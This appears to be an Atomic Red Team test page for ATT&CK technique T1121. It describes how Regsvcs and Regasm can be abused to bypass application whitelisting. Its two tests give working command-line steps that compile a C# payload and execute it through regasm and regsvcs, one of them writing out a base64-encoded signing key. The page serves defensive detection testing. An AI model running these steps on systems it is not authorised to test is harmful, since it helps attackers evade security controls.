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T1121 - Regsvcs/Regasm

Description from ATT&CK

Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies. Both are digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)

Adversaries can use Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Both utilities may be used to bypass process whitelisting through use of attributes within the binary to specify code that should be run before registration or unregistration: [ComRegisterFunction] or [ComUnregisterFunction] respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: SubTee GitHub All The Things Application Whitelisting Bypass)

Atomic Tests


Atomic Test #1 - Regasm Uninstall Method Call Test

Executes the Uninstall Method, No Admin Rights Required

Supported Platforms: Windows

Inputs

Name Description Type Default Value
file_name Location of the payload Path T1121.dll
source_file Location of the CSharp source_file Path C:\AtomicRedTeam\atomics\T1121\src\T1121.cs

Run it with command_prompt!

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /target:library #{source_file}
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U #{file_name}
del #{file_name}


Atomic Test #2 - Regsvs Uninstall Method Call Test

Executes the Uninstall Method, No Admin Rights Required, Requires SNK

Supported Platforms: Windows

Inputs

Name Description Type Default Value
file_name Location of the payload Path T1121.dll
source_file Location of the CSharp source_file Path C:\AtomicRedTeam\atomics\T1121\src\T1121.cs

Run it with powershell!

$key = 'BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2PWGc6DHP9VaoD13CljtYau9SesUzKVLJdHphY5ppg5clHIGaL7nZbp6qukLH0lLEq/vW979GWzVAgSZaGVCFpuk6p1y69cSr3STlzljJrY76JIjeS4+RhbdWHp99y8QhwRllOC0qu/WxZaffHS2te/PKzIiTuFfcP46qxQoLR8s3QZhAJBnn9TGJkbix8MTgEt7hD1DC2hXv7dKaC531ZWqGXB54OnuvFbD5P2t+vyvZuHNmAy3pX0BDXqwEfoZZ+hiIk1YUDSNOE79zwnpVP1+BN0PK5QCPCS+6zujfRlQpJ+nfHLLicweJ9uT7OG3g/P+JpXGN0/+Hitolufo7Ucjh+WvZAU//dzrGny5stQtTmLxdhZbOsNDJpsqnzwEUfL5+o8OhujBHDm/ZQ0361mVsSVWrmgDPKHGGRx+7FbdgpBEq3m15/4zzg343V9NBwt1+qZU+TSVPU0wRvkWiZRerjmDdehJIboWsx4V8aiWx8FPPngEmNz89tBAQ8zbIrJFfmtYnj1fFmkNu3lglOefcacyYEHPX/tqcBuBIg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4zHcgJx6FpVK7qeEuvyV0OGKvNor9b/WKQHIHjkzG+z6nWHMoMYV5VMTZ0jLM5aZQ6ypwmFZaNmtL6KDzKv8L1YN2TkKjXEoWulXNliBpelsSJyuICplrCTPGGSxPGihT3rpZ9tbLZUefrFnLNiHfVjNi53Yg4='
$Content = [System.Convert]::FromBase64String($key)
Set-Content key.snk -Value $Content -Encoding Byte
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /target:library /keyfile:key.snk #{source_file}
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe #{file_name}
del #{file_name}
del key.snk